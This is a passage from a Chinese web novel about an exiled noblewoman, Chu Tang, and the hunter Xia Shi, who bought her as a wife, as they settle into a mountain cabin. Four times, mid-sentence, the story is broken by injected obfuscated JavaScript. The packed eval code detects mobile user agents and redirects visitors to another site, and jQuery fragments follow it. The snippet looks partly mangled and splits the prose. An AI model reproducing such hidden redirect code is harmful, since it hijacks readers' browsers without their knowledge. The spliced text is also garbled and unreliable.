楚棠的思绪不知不觉飘远了些,回神时就发现夏时已经穿衣出去了。她扭头向外看了眼,就见小屋门扉半掩,只一缕耀眼的晨光顺着门缝照进屋中。 昨日已经睡了许久了,楚棠一时半会儿也不困,再加上昨日是睡着被夏时带回来的,她还不知这门外清醒。于是楚棠想了想,终究还是掀被起身了。 裹着绷带的脚踩在地面上时,不出意料感觉到了一股刺痛。若是从前,这疼痛必然是她不能忍受的,可在经历过流放那样的辛苦之后,这点疼痛似乎也就不算什么了。因此楚棠只是略蹙了下眉,就忍着痛穿上了她那双磨破的旧鞋,撑着床缓缓站了起来。 拿知她刚站起来还没迈步,夏时就又回来了,手里还端着个木盆。一见她起身立刻着急过来扶住了她:“你怎么起来了?小心脚下的伤还没好。” 夏时的力气很大,拽着楚棠的胳膊一托,感觉脚下的受力都小了许多。 楚棠抿了下唇,又看了看门外,说道:“我想出去透透气。” 这不是什么大事,夏时低头看了看她,见她今日脸色比昨日好了许多,也不是吹不得风的样子,于是干脆一手端着木盆,一手揽住楚棠腰肢,单手就将人抱起来了:“那你脚别沾地,我抱你出去。” 楚棠没料到她力气这样大,略略惊诧的同时,下意思环住了夏时的脖颈。 夏时身体僵了僵,显然不习惯与人这般亲昵,尤其是脖颈这样的要害位置被人抱住。不过她很快又想通了,被老婆抱是理所当然的事,于是紧绷的身体又放松下来。 随后她一手端盆一手抱人走了出去,等出了门才发现院子里空落落的连个凳子都没有,楚棠要待在院子里脚不沾地是不可能的。只好又绕去一旁的厨房转了一圈,最后放下了木盆,随手拖了只小凳子出来,这才给楚棠寻到了个落脚之地。 她一通转悠跟个没头的苍蝇似得,却正好让楚棠将这不大的地方看了个遍。 从离开小屋开始,楚棠一抬眼便是茂密的山林,只一条小径遥遥通往山下。而这坐落在山间的小屋也相当简陋,拢共只有三间屋舍,一间是她们之前睡觉的卧房,一间是夏时抱着她进去转悠过一圈的灶房,剩下一间上了锁,应该是仓库或者杂物房之类的地方。 三间房外是一处小院,院外围了一圈篱笆,比一般村户人家的篱笆看起来都结实,应该有预防野兽的作用。篱笆外多半还设了陷阱,否则仅凭这圈篱笆也很难彻底阻挡野兽。 此外院子里还放着一口水缸,水缸上一节空竹正缓缓往里接水。目光顺着那竹子往后一看,便隐约可见屋后山壁上有山泉水涔涔而落,正是被人用竹子引水过来的,倒正省了去挑水的功夫。 猎户简陋的住所一眼就看到了尽头,所幸楚棠原本也没有多高的期待,见状也不觉失望。更何况小猎户多少还有些体贴,抱着她转来转去,就为了找个凳子让她坐。末了还怕她吹着山风觉得冷,专程寻了个能晒到太阳的地方,这才将她放了下来。 楚棠也不辜负对方的好意,听话的坐在了门前那片阳光下。秋日的骄阳仍烈,但此刻不过清晨,暖暖的晨光照在身上,倒真让人生出几分惬意来。 女人迎着晨风微微仰头,明亮的日光照在她脸上,映得她瓷白的肌肤温润如玉。 夏时看得微微愣神,似乎直到此刻,她才终于意识到自己买回来的老婆是怎样一个美人。心跳不自觉就漏跳了一拍,她端着木盆就愣在了厨房门口。 还是楚棠先发现了她在走神,开口唤醒了她的神智。 夏时不自在的眨眨眼,这才又端着木盆走了过来:“早饭还要等一会儿,你先洗漱?” 楚棠闻言下意识低头,先看了看自己的手——她自然是爱干净的,可流放路走了大半个月,又被人贩子带着颠沛流离了一路,再讲究的人也不会干净到哪里去。但此时她低头看了看自己的手,却发现手掌手背都很干净,像是已经被人清洗过一般。 她又想了想,觉得应该是昨夜自己睡着之后,夏时替她清理过了。一时有些羞赧,又有些感激,接过对方拧好递来的帕子,低低的开口道了一声:“多谢。” 夏时听她声音柔柔,自己的心似乎也软了三分,下意识便露出个笑容来。 昨日一切匆忙,此时楚棠细看才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230840|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现,夏时生得其实不差,尤其笑起来脸上还会露出个酒窝,顿时将猎户的煞气也冲散了个七七八八。再加上这人没地方坐,就干脆蹲在了她面前,仰头看着她笑的时候,整个人都透出股傻气来,让人无端卸下了防备。 洗过脸,又擦了擦脖颈,楚棠只觉一阵清爽。可是很快想起自己已经一个月没好好洗漱了,又浑身不自在起来,她犹豫的看向夏时,欲言又止。 好在夏时还算有眼色,闻言立刻问道:“怎么了,有什么事吗?” 楚棠咬了下唇,还是小声说了:“我许久未曾沐浴,想,想洗一洗。” 夏时还以为是什么事,这点小事她自然答应了,只是头点到一半忽然顿住,目光又往楚棠脚下扫了眼:“这,你脚下的伤还没好呢,这两天最好还是别沾水了吧。不如我给你烧些热水,你自己先擦一擦,等过几天再好好洗一洗。” 楚棠知她好意,也没什么意见,又道了声谢,就看着夏时泼了水端着木盆回去了。然后转过头,这人就又回来了,手里还端着只碗。 碗里既不是药,也不是粥,而是一碗蜜水:“生火做饭还得一会儿呢,你先喝完蜜水甜甜嘴,听说蜂蜜吃了也是补人的。你现在身体虚,多吃点。” 蜂蜜并不易得,对于曾经的尚书府不值一提,但对于小猎户来说采蜜肯定十分危险。 可不等楚棠说些什么,夏时将碗塞在她手里就又走了,不多时空气中多了股烟火气,应该是夏时在生火做饭了。等做完饭还得熬药,说不得半上午的时间都要花在她身上了。 楚棠感觉自己给人添了许多麻烦,殊不知夏时一大早忙进忙出也是乐在其中——谁懂啊,一睁眼怀里就抱着暖呼呼的老婆,可以抱着老婆出门晒太阳,给老婆准备吃的喝的,每一分钟似乎都变得有意义起来。哪怕老婆现在话不多,可那不是因为她俩还不熟吗,等熟悉了肯定就有回应了! 夏时从进到厨房起,脸上的笑容就止也止不住。她哐哐舀水煮了一锅粥,想想又怕这粥太寡淡,于是又割了点熏肉切碎了放里面。等肉香出来了,又觉得还不够,于是出门在山坡上找了找,还真找到些野菜回去洗了切碎加锅里。 不过有了老婆,日子就不能像从前那样凑活了,等回头找个时间她得开片菜地出来。 楚棠就看着她来来回回的跑,也不知怎的,心头积郁不知不觉就散了大半。她抱膝坐在院子里,迎着朝阳吹着晨风,脸上神情渐渐舒展起来。 两刻钟后,夏时端着碗粥出来了,兴冲冲递到她面前:“来,尝尝,今天的是肉菜粥。” 6. 第 6 章 楚棠这粥一吃就是三天,虽然夏时会将菜粥肉粥甜粥换着做,可连吃三天也腻了。 当然,这三天除了吃粥也不是什么都没发生。比如煮菜肉粥的第一天,夏时就抽了半天时间在小院外开了一小片菜地,为此还特地下山去山下的石田村跟人买了一小包菜种。第二天煮肉粥时,夏时想起前一天楚棠吃不惯熏肉,于是又抽空出去猎了只野鸡,用鸡肉给她煮了一锅粥。 到了第三天,楚棠不想她再麻烦,于是点名要了加把糖就行的甜粥。可饶是如此,夏时也并没有闲下来——她终于发现楚棠在屋子里待不住,总爱坐在院子里晒着太阳看她忙活,于是打定主意给她做把躺椅,换了那小凳子。 明泉楼的伙计就是夏时哐哐凿木头的时候来的。 他显然与夏时很熟稔了,站在篱笆外便对夏时招呼道:“夏猎户,夏猎户。” 夏时听到动静抬头一看,那伙计见她回头立刻便笑道:“夏猎户,又有生意上门了。上回的鹿客人们吃得满意,掌柜的要我来与你说一声,这两日可再送一头过去,还是之前那价。” 鹿的价格本来就高,预定的更贵,这样的好生意夏时几乎不会拒绝。可这次她却没有立刻答应下来,反而下意识回头看了楚棠一眼——猎鹿就要进山,而且是深山,危险什么的暂且不提,她这一去至少就是两三天,把楚棠一个人留在家里,她实在是不放心。 楚棠对上她视线,还没明白过来是怎么回事,另一边的伙计见她没有像往常一样痛快答应,反倒是急了。他可是知道自家酒楼已经接了好几个大客户的约,可不能缺了这主菜用的鹿肉。 偏这时夏时终于开了口,果然是拒绝:“最近家中有事,出不得门,你们还是去寻别的猎户吧。” 伙计一听彻底急了,要是能随便寻到别的猎户,他也懒得爬这云雾山不是?当下连忙劝道:“诶,夏猎户,咱们也是老交情了,我们酒楼的野味可全都是问你买的,你这时要我们去寻别的猎户,又哪是一时半会儿寻得到的?我也知家中私事不可避免,但你这次就当是帮帮忙,可别让小人难做啊。” 明泉楼的伙计在酒楼里做事,形形色色的人见得多了,此刻楚棠又正好在院子里坐着,他扫一眼就能将情况猜个大半——孤家寡人的夏时突然家中有事,自然是为了这突然出现的女子。虽然不知其身份,但看对方消瘦病弱的模样,他也知道接下来该怎么劝了。 于是不等夏时再说些什么,伙计便又道:“这样吧,我也知道你为难,这次请你帮忙也不白帮。掌柜的那里收鹿,该是多少钱就是多少钱,我自己再添二两给你做个添头如何?”他说完又扫了楚棠一眼,若有所指道:“当猎户的赚钱也不易,眼下正是赚钱的大好时候,错过了可惜就不说了,别等用钱的时候再不够,那才是耽误事呢。” 别说,这话还真说到夏时心里去了。虽然她这些年一直在攒钱,埋在床底下的钱罐子里零零碎碎已经攒了小二百两,但楚棠的药钱是真贵,她也不希望养得不好让人留下病根。 夏时想了又想,还是凑到了楚棠身边,压低声音问她:“我出门两三日,你自己留在家中可以吗?” 楚棠没想到这事还要自己做主,但她看得出夏时是意动了。流放路她都走过,难道还怕自己独自一人待在家中?于是不想拖累夏时的她想也没想就点头:“你自去做你的事,我能照顾好自己。”说着起身走了两步,又回头看夏时:“你看,我脚已经好了。” 这还是楚棠第一次脚踏实地的站在这院子里。她脚下的伤其实不算严重,都不过是些皮外伤罢了,养了三天早就结痂愈合。只是夏时待她过于小心,仍旧是将人抱来抱去,不让她走路。 夏时见状终于下定决心,扭头冲那伙计道:“行吧,我尽快猎了送去。” 伙计高兴应了一声,为表诚意还把自己许诺的二两银子留下了。这钱当然不会是他自己出,等回头将事情和掌柜的说清楚,这钱自然还是挂在明泉楼账上。 ********************************************************* 夏时是个猎户,而且是个没田没地只能靠打猎为生的猎户。进山对她来说简直就是家常便饭,以往进山她都是背上弓箭拿上猎刀就走,可这次她显然多了许多牵挂。 临行前,她对楚棠不少叮嘱。 一会儿告诉她米面柴油的位置,一会儿叮嘱她如何煎药吃药,一会儿又嘱咐她夜间关好门窗。说完想了想,又要她白天也不要走出院子,因为山里的野兽不知什么时候就可能出现在院子外面。然后叮嘱着叮嘱着,她不仅是野兽,连人都不放心起来,又劝说楚棠不要搭理可能出现的陌生人。 那殷殷叮嘱的模样,活像是在交代个年幼无知的小孩儿。 楚棠还是第一次被人这般叮嘱,好笑之余又觉无奈,无奈之下还有几分她自己都不曾察觉的暖意融入心间。因此她也没打断夏时的叮嘱,而是认真的一一应下。 终于,夏时想不到还有什么需要叮嘱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230841|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事了,依依不舍的出了门,走出几步又回头说道:“我就在这山中猎鹿,运气好的话一两日就回,运气不好至多三天我也会回来。”说完顿了顿,又眼巴巴盯着楚棠瞧:“你不必担心。” 楚棠对上她视线,忽的会意过来,便站在门前挥手道:“知道了,你小心些,我等你回来。” 果然,听到这话的夏时立刻眉开眼笑。她也冲楚棠挥挥手,终于不再啰嗦迟疑,背着弓挎着刀,转身就跑向了山林。那背影轻快又灵活,仿佛生在林间的小鹿。 意识到自己这般想法的楚棠忽然一哂——像什么小鹿?这人就是去猎鹿的! 楚棠最后往山林里看了眼,早不见夏时身影,于是关上院门转身回去了。她对夏时倒不担忧,毕竟是有人专程来请的猎人,想也知道这人在狩猎方面有些本事。只是转身回去的时候,看着小院里还没做好的一堆木料,她心里没来由有点空,这少了主人的院子也仿佛一下子变得空荡荡起来。 以至于向来喜静的楚棠,在这一刻忽然觉得有些孤寂。 …… 夏时临走前叮嘱了楚棠不少事,可她大抵没料到,说自己会做饭的人其实连生火都不会。 小猎户刚走的时候,楚棠还有几分惆怅,然后惆怅着惆怅着就饿了。她抬头看看天色,已经中午了,于是走进灶房里看了看,发现早晨的甜粥已经吃得一点不剩,锅里干干净净。 这时楚棠还没觉得有什么问题,毕竟夏时这几天煮粥她也看过几眼,无外乎扔点米倒点水,然后直接上火煮就是了。哪怕楚棠曾经是个十指不沾阳春水的大小姐,也不觉得这点小事能难到自己。事情做起来也确实很简单,除了忘记淘米之外,米和水都顺利的进了锅。 然后问题就出现了,楚棠拿着灶台上的打火石敲了小半刻钟,硬是没能把火点起来……是的没错,像她这样的千金小姐别说灶火了,就连灯火都轮不到她点,她也从不知点火是这样麻烦的事。 如是折腾了一中午,连手都敲红了,楚棠也依旧没能把火点着。 午饭就这样错过了,中午的药自然也没吃成。等到下午结果也是一样,锅里的米都被泡软了,灶下依旧是一点火星都没见着。 楚棠终于放弃的扔下了打火石,望着面前的冷锅冷灶长叹口气——许是她自作自受了。可夏时分明足够细心也叮嘱了她许多,怎么偏偏就没想着告诉她怎么生火呢?! 想想夏时这一走可能就是两三天,楚棠忽然担心起来,担心自己守着满厨房的粮食饿死。 7. 第 7 章 楚棠守着粮食饿了一整天,入夜后早早就回房躺着了。 夏时去猎鹿,这一趟也不知要去多少时候,她当然不能干等着对方回来。于是盘算着明日若还点不着火,不如下山去看看——这几天她虽然没下山,但也听夏时说过,沿着门前那条山路一直向下走,山脚下就是石田村。到时候见到了人,向人换个火折子,生火就不是问题了。 至于用什么换火折子,楚棠也想好了,灶房里挂着不少熏肉,随便拎一条也是绰绰有余。 心里有了成算,楚棠捂了捂饥肠辘辘的肚子,到底安心了几分。又因为没有火的缘故,屋子里的油灯也没法点,黑漆漆一片除了睡觉没有别的事可以做。 楚棠扯了扯被子,决定睡了。 往日有夏时在,她总是睡得很快也很沉,但今晚或许是身旁少了个人的缘故,她裹着被子在床上翻来覆去,却总也睡不着。这便还罢了,山间的夜也与别处的不同,两个人同处一室时心思总被对方牵扯还不曾留意,今夜她独自待在这山中小屋里,却总听见外面各种动静响个不停。 一会儿是“咚咚咚”的响声,既像是风吹得门板撞击,又像是有人在大力敲门。楚棠凝神听了好一会儿也没敢理会,最终决定听夏时的叮嘱不出门。 又过了一阵,许是这“咚咚”声听得习惯了,楚棠也终于放松下来有了两分睡意。可还不等她睡着,又听到一阵“嗷呜”“嗷呜”的叫声,像是山里的狼嚎。虽然这动静听着是挺远的,可人类对于野兽的本能恐惧,也让她止不住的心惊胆战。 犹豫了一阵,楚棠终究掀开被子起了身,而后在黑漆漆的屋子里摩挲了一阵,最终顺利的寻到了一把旧猎刀——这是夏时年少时用过的猎刀,看着有些钝了,就挂在墙上。楚棠早早就注意到了,这时候哪怕摸黑也熟门熟路的将东西拿到了手里。 冷冰冰沉甸甸的猎刀入手,隐约还能闻到一丝陈旧的血腥气,楚棠的心却蓦地安定下来。她又折回了床边,抱着猎刀躺回了床上,这次终于放心的闭眼睡了。 可这一夜注定波折不断,楚棠好不容易听着狼嚎声睡着,半夜里却又被一阵异样的响动吵醒了。 自经历流放开始,楚棠整个人都变得格外警醒。像是风声狼嚎声这些,她听一阵习惯也就不在意了,可一门之隔明显不寻常的动静,却能叫她瞬间惊醒。 楚棠“噌”的一下就坐了起来,怀里还抱着那把猎刀。她像是从未睡着过一样,黝黑的眸子第一时间警惕的看向了房门,旋即侧耳听了听外间动静,果然听到了一阵轻巧的脚步声——这声音明显不是什么风声,也不是野兽能闹出的动静,应是有人翻墙进来了! 从前的楚棠是个天真的大小姐,如今的楚棠却已经见识过人性之恶……深夜、深山、独居的小院和贸然闯入的人,会发生什么?可能是比遇到野兽更糟糕的情况! 抱着猎刀的手越发紧了,楚棠轻手轻脚下了床,慢慢挪到了门后。 猎户家的屋门也是简陋的,当然做不到严丝合缝,但这时却正好方便了楚棠。她将眼睛凑到门缝前向外张望,可惜今夜天气不好,月色并不分明,她隐约只瞧见一道漆黑人影在院中走动。 果然是有人闯进来了! 楚棠的心立刻提到了嗓子眼,怀里的猎刀被她两手紧握,准备等来人闯门她就一刀劈过去。不过在此之前,要她主动出去和人对阵她也是不敢的,便只能一边警惕一边透过门缝观察着院中那人的动静。而奇怪的是那人并没有来主屋,反而径自去了隔壁的灶房。 许是有人深山行路,饿了,所以翻进来找吃的? 这个猜测楚棠自己都觉得荒谬,却希望是真的,来人填饱了肚子就离开最好。 可惜来人只是去灶房里打了个转,很快又出来了。楚棠下意识又绷紧了心弦,掌心都冒了汗,却很快就发现了不对——这人怎么去了灶房一趟,出来就矮了一截? 等等,矮了这一截之后,这人的个头似乎也变得熟悉起来了?! *********************************************************** 灯火被点亮的那一刻,楚棠紧绷了一夜的心弦彻底放松了下来,她“哐当”一声把刀扔在了桌子上。 半夜回来的人是夏时,点燃了灯火的人自然也是她。听到动静后她看了眼桌上的旧猎刀,忍不住咧嘴笑了下:“怎么,一个人待在家里,还是有些害怕吗?” 灯火如豆,但足以映照清夏时的脸,她唇角那抹笑落在楚棠眼里,也就变得有几分刺眼起来。近日都表现得十分乖顺的女人,此刻没忍住瞪了她一眼,语气也有点冲:“大半夜你回自己家不走正门,偏要翻墙,还要怪我胆小害怕吗?!” 夏时被她这一训,笑容立刻讪讪。她抬手摸摸鼻梁,弱弱解释:“那个,院门是从里面栓上的,而且这不是太晚了吗,我怕吵醒你睡觉,这才翻墙的。” 楚棠如此警惕,她也没料到,好在对方及时认出了自己,否则摸黑给她一刀才叫冤枉。 这解释自然十分合理,楚棠也不是不讲道理的人,发泄完因惊吓生出的怒火,理智便又重新回归。她没再计较夏时半夜翻墙的事,转而问道:“你不是进山猎鹿,说要去个两三天吗,怎么这么快又回来了?”说完想起这人往灶房去的那一趟,又惊讶道:“难道你已经猎到鹿了?” 夏时闻言摇摇头:“这倒没有,咱们这边的鹿都生活在深山里,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230842|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这半天功夫我都还没走到深山呢。”她说完牵起楚棠的手,就把人往灶房拉:“走,去看看,我给你带了好东西回来。” 楚棠不明所以的被她拉去了灶房,这才借着灯火看到灶房地上多了一只被捆起来的山羊。 夏时蹲下身,又把油灯往山羊跟前凑了凑,这才指着山羊肚子对楚棠说:“看,我在进山半路上遇到的。这还是只产奶的母羊,以后你都有羊奶喝了。村里的人都说羊奶补身体,小孩子喝羊奶都能长得很壮,你也喝上一阵,肯定能把身体养好的。” 橙黄的灯火映照下,夏时语调轻快,双眸熠熠生辉,欢喜毫不遮掩。 楚棠静静看着她的侧脸,心里有一块不知不觉变得柔软异常——一只羊的价值自然不算什么,可对方对你用不用心,总是很容易就能体会到的。 她眉眼软了软,正要说些什么,冷不丁忽然“咕……”的一声从她肚腹处传来。 楚棠愣了愣,夏时倒是对这声响很是熟悉,自然而然扭头问了句:“半夜把你吵醒,饿了吗?” 问话的夏时没多想,可楚棠却一下子红了耳根。她一整天没吃饭,自然是饿了,可面对夏时的询问却不好意思告诉对方,自己连生火都不会。 好在夏时也没深究这个话题,随口问了一句之后又揉了揉自己的肚子。她扛着山羊赶了半夜的路回来,自然也饿了,于是自顾自开始在灶房里寻吃的。 打开锅盖看见里面泡软的大米时,夏时也没觉得有什么不对,因为有些人家熬粥就喜欢把米泡一泡,据说这样熬出来的粥更加软烂好吃。她自己是没这耐心的,但楚棠熬粥讲究些也没什么不对,就是这大半夜的喝粥总觉得填不饱肚子。 夏时想着看向楚棠,就在后者眼神开始闪躲之际,开口说道:“我也饿了。走了半夜的山路,吃粥可能吃不饱,我想再添点米煮成饭,可以吗?” 楚棠听罢莫名松了口气,也不知是不想对方看出自己之前的欺骗,还是单纯觉得不会生火这事丢人。但总归夏时没看出或者没揭穿这事就好,她干脆的点点头:“你看着做就是。” 夏时外出一趟回来,虽然没有现成的热饭热菜,但有人陪着也很好了。 她相当知足,高高兴兴去淘了米回来添进了锅里,又蹲在了灶台前开始生火。 楚棠这回将她的动作都细细看在了眼里,看到夏时淘米时,不由往锅里看了一眼——她中午加米下锅时,好像忘了淘米,问题应该不大吧? 不等楚棠犹豫要不要告诉夏时这事,就见她已经坐在灶前开始点火了。被点火这技术活困扰了一整天的楚棠见状,立刻就顾不上什么淘米不淘米的问题了,越发认真的观察起夏时的每一个动作,试图像读书习字时那样一次学会。 8. 第 8 章 吃过饭洗漱完,两人再次躺到床上已经是后半夜了。 经过这一番折腾,楚棠短时间内应该是了无睡意的,但当夏时顺手将她揽入怀中,身旁又有了那熟悉的体温依靠,困意便如浪潮一般席卷而来。她依稀记得闭眼时夏时还在对她说话,可对方究竟说了什么她却没听清,意识很快陷入了昏沉。 再睁眼时,已是天光大亮。楚棠恍惚一瞬后便向身旁摸去,结果摸了个空不说,触及处更是冰冷一片,根本没有半分残留的温度。 有那么一瞬间,楚棠甚至怀疑夏时半夜回来是不是自己做的梦? 好在外间传来的声响很快证明昨夜的一切都是真实的。楚棠旋即披衣起身,打开房门往外一看,正瞧见夏时在院子里折腾她带回来的那只山羊。许是怕扰了她清梦,那可怜的山羊不仅被绑住了蹄子,还顺便堵了嘴,落在夏时手里挣扎的模样分外可怜。 “你在做什么?”楚棠看着那一人一羊折腾,忍不住开口问道。 夏时这才发现她已经醒了,闻言举了举手里的碗:“我在挤羊奶啊,一会儿烧开了给你喝。” 只是她说得轻巧,楚棠旁观一阵却看出这人大抵是没挤过羊奶的,抓来的野山羊也并不怎么听话。一人一羊也不知折腾了多久,夏时手里也才攒了半碗奶,还险些被羊蹄子踹翻。 楚棠有心想劝她要不然算了,她也并不是很想喝羊奶,可到底还是没忍心辜负对方好意。如是折腾了小半个时辰,楚棠都已经洗漱完了,夏时才终于顶着一脑门汗凑够了一碗羊奶。而被折腾挤奶的母羊倒在地上,连蹄子都不蹬了,活脱脱一副生无可恋样。 不知怎的,楚棠看着这副场景没忍住笑了出来,眉宇间常带的沉郁也一扫而空。 夏时见状自己也跟着笑了起来,接着招呼一声后便转身进了灶房,该是煮奶去了。楚棠见状也忙跟了过去,打算趁机复习一下生火的过程。 不过她显然是来迟了,夏时今天一早起来就已经生好了火,顺便也给两人准备好了早饭。这会儿灶火虽然压得低,但只是略一撩拨,很快又熊熊燃烧起来。接着夏时就把刚挤的羊奶倒进了锅里,顺手还往锅里扔了些什么,楚棠凑过去一看认了出来,是杏仁。 夏时见她凑过来看,也就随口解释了一句:“杏仁去膻,不然这奶没法喝。” 楚棠点头,这她也是知道的。虽然作为尚书府小姐她没进过厨房,但她书看得多,各种杂记看了不少的结果就是常识知道得多,理论知识也还算丰富。 煮羊奶没用多少功夫,约莫小半刻钟就煮开了,夏时捞走杏仁之后又拿了只新碗来盛了奶。然后转手递给了楚棠:“稍微晾凉,一会儿你趁热喝,这东西补身体的。” 楚棠双手捧着碗,刚煮开的羊奶,滚烫的热度顺着碗壁传到她掌心,只是微微有些发烫。她捂着感受了一阵暖意,等到觉得有些烫手了,就将碗放到了灶台上。 夏时见她捧着碗暖手,眉头不由皱了一下——眼下虽已入秋,但天气其实还挺热,至少绝不到需要暖手的时候。可夜里抱着人睡的时候就发现了,这人身体总是冷冰冰的,手脚尤甚,可见是身体亏空了需要进补,只喝羊奶还是不够,她得多准备些药钱才是。 这般想着,夏时转手又塞了两个野鸡蛋过去:“昨天上山顺手掏的,还有几个我放篮子里了,你都记得煮来吃。”说完顿了顿,才又道:“药钱的事你不必担心,我会赚够的。” 楚棠手里冷不丁就被塞了两个鸡蛋,这还没什么,等听完夏时的话却不由一愣:“我没……” 她没指望一直喝补药的,只是话还没出口,她就留意到夏时的目光往灶房某处看去。她顺着对方的目光看去,便正好瞧见几个方方正正的药包……是了,昨天她没生起火,不止是没吃上饭,药也没煎。夏时可能没留意到米缸里的米少了多少,但这么明显的药包她总能数清楚。 楚棠咬了下唇,实在不好意思说自己因为不会生活,昨天饿了一天的事。她干脆别开目光,寻了个不走心的借口:“我不爱喝药,太苦。” 这点夏时之前就知道了,因此也没有怀疑,哄道:“乖,药还是得吃的,回头我给你买糖啊。” 这人想来想去,还是拿糖哄她。 楚棠明明觉得这哄孩子似得口吻好笑,也还是软了眉眼。 两人说话的功夫,羊奶也晾凉了不少,夏时见状便又把野鸡蛋从楚棠手里拿了过来,一边帮她剥蛋壳,一边催促她赶紧喝奶。 楚棠被她催促的也忘了多年的规矩礼仪,站在灶房里就端着碗一口气喝了半碗羊奶。等她放下碗还没来得及抬头,白嫩的鸡蛋就已经递到了唇边。她顿了顿,到底张口咬了下去,白水煮的鸡蛋其实没多少味道,但细细品尝起来似乎又有点甜。 *********************************************************** 夏时吃过早饭就又走了,这次临走前叮嘱的比昨天还多些。 老话常谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230843|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过后,她又告诉了楚棠该怎么喂养那只山羊,嫌麻烦给它喂些草就好。至于挤奶这样的活,楚棠如果不会做的话,可以等她回来再说。 楚棠再次一一应下,这次送夏时离开时,却也比昨日多了许多不舍。 她依旧站在院门口送别,却在夏时转身离开时叫住了她:“你进山小心些,我昨夜听到有狼嚎声,这山里应该有狼。别惦记什么药钱,猎到鹿就回来。如果回来时天晚的话,也别再翻墙了,不管什么时辰你敲门叫我就好,我会出来给你开门的。” 楚棠叮嘱的话不算多,也不能和夏时的喋喋不休相比,但比昨日送别明显多了几分关心。 夏时自然感觉得到,听着这些嘱咐眉开眼笑,答应得更是干脆。全不解释自己这些年在山中狩猎,别说是狼了,就连老虎她也猎到过,不然哪能把云雾山当自己家后院逛? 两人又说了几句,依依惜别过后,夏时再次踏入了山林。 楚棠看着她背影消失在林间,这才再次转身回了院子里……和昨日相似的空落,仿佛少了那个人,整间院子都空了。但又与昨日不同,或许是院子里多了一只羊,有了个活物作伴,楚棠倒不是昨日那般心里空落难受。 她喂过羊,又坐在了院子里,秋阳透过大树枝叶洒落在她身上,斑驳的光影映出几分闲适来。而她开始期待,期待那人归来,或许是明日,或许是后天,总归不会太久。 …… 楚棠没等到夏时回来,倒先等到了几个陌生人登门。 猎人的小屋坐落在山里,但也免不了要与山下的人打交道。尤其云雾山下就是石田村,夏时需要的米面油盐,大多数时候都不会去距离更远的县城买,而是就近在山下的村子里换。 最近正是秋收,石田村的人也正忙着收获。一方面有了新粮入库,一方面秋收时劳累消耗得也大,往年这时候村里都会有人找夏时用新粮换些肉吃。夏时也和村里人有默契,秋收时总会带着猎到的野鸡野兔下山,就在村口等着人去换。 可今年不一样,有了媳妇的夏时成天围着楚棠转,完全忘了这一茬。 石田村的人左等右等都等不到夏时出现,去城里割肉又太贵,终于忍不住派人上山来问了——跑这一趟当然也不止是为了几斤肉的事,秋收完夏时惯例也会向村中买粮,上山的人顺便还得问一问她,今年准备买多少斤粮食,价格也得事先谈好。 只是人上了山,找到了夏时的屋子,却发现夏时人不在,院子里还坐着个陌生的女人。 9. 第 9 章 秋收时节,满村子都是埋首田间的人。 忙碌一年的农人看着地里金灿灿的稻子自然欢喜,可要将这些稻谷全都收获回家,却还有好一通忙碌和劳累等着。 刘生是农户家的孩子,也不是第一次经历秋收了。可往年他年岁还小,父母长辈总还要顾念几分,不会让他做太累的活儿。可今年他十五岁了,这年纪放在农家已经能当个大人用了,所以从秋收的第一天开始,他爹就往他手里塞了把镰刀,带着他一起下地了。 一开始刘生还没什么想法,毕竟平时他也没少做活,上山砍柴下地除草,这些都是他做了好几年的活儿了。再说秋收也就这一阵,累个十来天也就结束了。 可等真的开始秋收,成天埋首田间一刻不得闲,刘生才真正知道种田的苦。 他说羡慕夏时打猎不是假的,但他爹说得对,他家没有猎户的本事,自己也吃不上猎户这口饭。但他还是累,所以在夏时没有如期出现,村里人商量着要上山寻人时,他也死皮赖脸的跟了上去——爬山也累,但至少能直起腰,他跟着跑一趟就相当于休息半天了。 刘老大自然看出了儿子的小心思,但看着刘生短短几天就累瘦了的脸,到底还是不忍心。嘴里骂骂咧咧两句,也就放人跟着同村上山去了。 